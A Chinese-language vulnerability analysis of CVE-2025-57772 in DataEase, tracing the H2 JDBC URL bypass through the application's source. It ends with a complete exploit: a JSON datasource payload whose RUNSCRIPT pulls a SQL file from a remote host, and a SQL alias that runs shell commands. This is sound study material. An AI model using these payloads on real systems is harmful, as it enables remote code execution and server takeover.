DataEase CVE-2025-57772

前言

DataEase 是一个开源的商业智能和数据可视化工具。在版本 2.10.12 之前,DataEase 存在 H2 JDBC 远程代码执行(RCE)绕过漏洞。如果 JDBC URL 满足特定条件,getJdbcUrl 方法会被返回,该方法作为提供的 JdbcUrl 参数的 getter 使用。这会绕过 H2 的过滤逻辑并返回 H2 JDBC URL,从而允许使用 "driver":"org.h2.Driver" 指定 H2 驱动进行 JDBC 连接。该漏洞已在 2.10.12 版本中修复。

上个月底关于CVE-2025-57772和CVE-2025-57773是一同发布的,注入点都类似,只不过CVE-2025-57773是通过db2的参数进行触发的,但点都是同一个。

环境

Dataease-2.9.0

漏洞分析

从官方给的话里面,我们知道是JBDC URL 连接的时候会出现问题,并且是控制参数jdbcURl,目的是绕过H2然后返回所构造的路径,再根据驱动进行连接。

1.找驱动发生位置和实体

package io.dataease.datasource.type;

import io.dataease.extensions.datasource.vo.DatasourceConfiguration;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import org.springframework.stereotype.Component;

@Data
@Component("db2")
public class Db2 extends DatasourceConfiguration {
    private String driver = "com.ibm.db2.jcc.DB2Driver";
    private String extraParams = "";

    public String getJdbc() {
        if(StringUtils.isNoneEmpty(getUrlType()) && !getUrlType().equalsIgnoreCase("hostName")){
            return getJdbcUrl();
        }
        if(StringUtils.isEmpty(extraParams.trim())){
            if (StringUtils.isEmpty(getSchema())) {
                return "jdbc:db2://HOSTNAME:PORT/DATABASE"
                        .replace("HOSTNAME", getLHost().trim())
                        .replace("PORT", getLPort().toString().trim())
                        .replace("DATABASE", getDataBase().trim());
            } else {
                return "jdbc:db2://HOSTNAME:PORT/DATABASE:currentSchema=SCHEMA;"
                        .replace("HOSTNAME", getLHost().trim())
                        .replace("PORT", getLPort().toString().trim())
                        .replace("DATABASE", getDataBase().trim())
                        .replace("SCHEMA",getSchema().trim());
            }
        }else {
            return "jdbc:db2://HOSTNAME:PORT/DATABASE:EXTRA_PARAMS"
                    .replace("HOSTNAME", getLHost().trim())
                    .replace("PORT", getLPort().toString().trim())
                    .replace("DATABASE", getDataBase().trim())
                    .replace("EXTRA_PARAMS", getExtraParams().trim());
        }
    }
}

这是db2的,相对应的,我们可以找到其他的,比如mysql的,会发现大多一样开头都是,一个判断

if(StringUtils.isNoneEmpty(getUrlType()) && !getUrlType().equalsIgnoreCase("hostName")){
    return getJdbcUrl();
}

根据这一页代码,我们知道我们要构造一个DatasourceConfiguration

但是根据回溯回去DatasourceConfiguration是继承于Configuration

看着Configuration下面的变量其实就有点感觉了

public class Configuration {
    private String type;
    private String name;
    private String catalog;
    private String catalogDesc;
    private String extraParams;
    private String keywordPrefix = "";
    private String keywordSuffix = "";
    private String aliasPrefix = "";
    private String aliasSuffix = "";
    private String jdbc;
    private String host;
    private String jdbcUrl;
    private String urlType;
    private Integer port;
    private String username;
    private String password;
    private String dataBase;
    private String schema;
    private String customDriver = "default";
    private String authMethod = "passwd";
    private String connectionType;
    private String charset;
    private String targetCharset;
    private String driver;
    private int initialPoolSize = 5;
    private int minPoolSize = 5;
    private int maxPoolSize = 50;
    private int queryTimeout = 30;
    private boolean useSSH = false;
    private String sshHost;
    private Integer sshPort;
    private Integer lPort;
    private String sshUserName;
    private String sshType = "password";
    private String sshPassword;
    private String sshKey;
    private String sshKeyPassword;

回到CVE介绍那,JdbcUrl 我们找到了,但是是如何构造的?

2.如何构造?

跟随**getJdbc()**方法,我们去找哪里使用了它

直到找到CalciteProvider.java文件

来到这个地方首先比较重要的是coreDatasource的getType(),映入眼前的是switch,和熟悉的xxxDatasource,JsonUtil是把传递进来的参数通过json转成实体也就是刚刚的DatasourceConfiguration->Configuration对象,配置结束后会进入下面的代码区

再startSshSession开始就是建立隧道,再创建一个PProperties对象用来存储jdbc驱动的信息,再通过配置文件读取jdbc驱动,拿一个JDBC驱动类实例,用来动态加载驱动类,隔离第三方驱动。

Driver driverClass = (Driver) jdbcClassLoader.loadClass(driverClassName).newInstance();
conn = driverClass.connect(configuration.getJdbc(), props);

重点是这一部分了,上面是加载驱动,其实吧driverClassName我有个想法,如果配合文件上传,再通过driverClassName应该可以弄一个任意代码执行,因为下面的newInstance()可以直接执行我传递进来的driverClassName的构造方法(这仅仅是个思路)

第二行代码,便是直接连接了只要最后返回的是第一个判断里的url。

这个方法没有任何拦截和处理部分,我们接着往上走

public void checkDatasourceStatus(DatasourceDTO coreDatasource) {
        if (coreDatasource.getType().equals(DatasourceConfiguration.DatasourceType.Excel.name()) || coreDatasource.getType().equals(DatasourceConfiguration.DatasourceType.folder.name())) {
            return;
        }
        try {
            DatasourceRequest datasourceRequest = new DatasourceRequest();
            datasourceRequest.setDatasource(coreDatasource);
            String status = null;
            if (coreDatasource.getType().equals("API")) {
                status = ApiUtils.checkStatus(datasourceRequest);
            } else {
                Provider provider = ProviderFactory.getProvider(coreDatasource.getType());
                status = provider.checkStatus(datasourceRequest);
            }
            coreDatasource.setStatus(status);
        } catch (Exception e) {
            DEException.throwException(e.getMessage());
        }
    }
//往上找找到了这边,这边就是主要是检查数据源的,coreDatasource也看见了熟悉的变量,发现coreDatasource并没有被截取或者删改,我们就继续往上走
@Override
public String checkStatus(DatasourceRequest datasourceRequest) throws Exception {
    DatasourceConfiguration.DatasourceType datasourceType = DatasourceConfiguration.DatasourceType.valueOf(datasourceRequest.getDatasource().getType());
    switch (datasourceType) {
        case pg:
            DatasourceConfiguration configuration = JsonUtil.parseObject(datasourceRequest.getDatasource().getConfiguration(), Pg.class);
            List<String> schemas = getSchema(datasourceRequest);
            if (CollectionUtils.isEmpty(schemas) || !schemas.contains(configuration.getSchema())) {
                DEException.throwException("无效的 schema!");
            }
            break;
        default:
            break;
    }
    String querySql = getTablesSql(datasourceRequest).get(0);
    try (ConnectionObj con = getConnection(datasourceRequest.getDatasource()); Statement statement = getStatement(con.getConnection(), 30); ResultSet resultSet = statement.executeQuery(querySql)) {
    } catch (Exception e) {
        throw e;
    }
    return "Success";
}

第一行,我们看见是固定死了的,它是枚举去已经写好的地方去对比然后固定值的,下面是如果是pg的话就需要去查一下Schema了,后续的querySql是根据数据源类型和配置,生成查询元数据 SQL 列表,就比如Oracle是返回select table_name from all_tables where owner='SYSTEM'下一步是去调用我们上面的方法。我们先往这个地方看看,这里有一个过滤

大概看得出来也是通过type来进行走哪一个case,db2是检验jdbcUrl是否恶意参数,但schema只检验了是否是空oracle,也是只检查了schema 是否为空。我们回去接着往上走。

@Override
public DatasourceDTO validate(DatasourceDTO dataSourceDTO) throws DEException {
    dataSourceDTO.setConfiguration(new String(Base64.getDecoder().decode(dataSourceDTO.getConfiguration())));
    CoreDatasource coreDatasource = new CoreDatasource();
    BeanUtils.copyBean(coreDatasource, dataSourceDTO);
    checkDatasourceStatus(dataSourceDTO);
    DatasourceDTO result = new DatasourceDTO();
    result.setType(dataSourceDTO.getType());
    result.setStatus(dataSourceDTO.getStatus());
    return result;
}

恭喜你,走到这里了,这里是梦开始的地方,传递进来的DTO对象,进行base64解码转成String类型,然后把其转换成实体对象,来进行操作我们发现没有进行其余的检测,所以我们直接去看dataSourceDTO

它的参数有很多,但我们根据刚刚推理了,我们需要几个固定参数,第一个是最重要的Configuration,但由于它是个对象,所以我们又找到了JSON转成对象的部分DatasourceConfiguration configuration = JsonUtil.parseObject(datasourceRequest.getDatasource().getConfiguration(), 所以我们需要构造dataSourceDTO的configuration变量,其次前面的switch中我们需要getType(),所以type也是我们必须要的,第一层我们就构造完毕了目前是

{
"type":"",
"configuration":""
}

第二层configuration由于我们要构造成一个对象,所以它跟第一层有点类似,我们先去看看它必须有哪些参数

if(StringUtils.isNoneEmpty(getUrlType()) && !getUrlType().equalsIgnoreCase("hostName")) 所以必须有urltype和hostname,其次有一个地方根据传递进来的参数来确定,但如果有schema参数都会检查是否是空的,上述代码有讲解,其次username,password,driver,都不能为空

所以我们构造出来的第二层是这样的

{
    "driver": "",
    "jdbcUrl": "",
    "urlType": "",
    "username": "",
    "password": "",
    "schema": ""
}

我们jdbcurl就让其去执行外部sql文件

比如INIT=RUNSCRIPT FROM 'http://x.x.x.x/poc.sql'

最后构造

{
    "driver": "org.h2.Driver",
    "jdbcUrl": "jdbc:h2:mem:adada;INIT=RUNSCRIPT FROM 'http://xxxxxx/poc2.sql'",
    "urlType": "test",
    "username": "test",
    "password": "youkillme",
    "schema": "test"
}

这部分在开头会经过一段base64的解码,所以我们需要将这部分编码起来,最后得到的请求包就是

验证文件

CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"cmd", "/c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('calc.exe');

修复

官网修复比较粗暴,都增加了几层检验在。

总结

可利用漏洞点还比较多,可以做深入研究一下,其次CVE-2025-57773 的注入点是差不多的,况且不止db2可以,其余的也可以的。

仅供学习,切勿滥用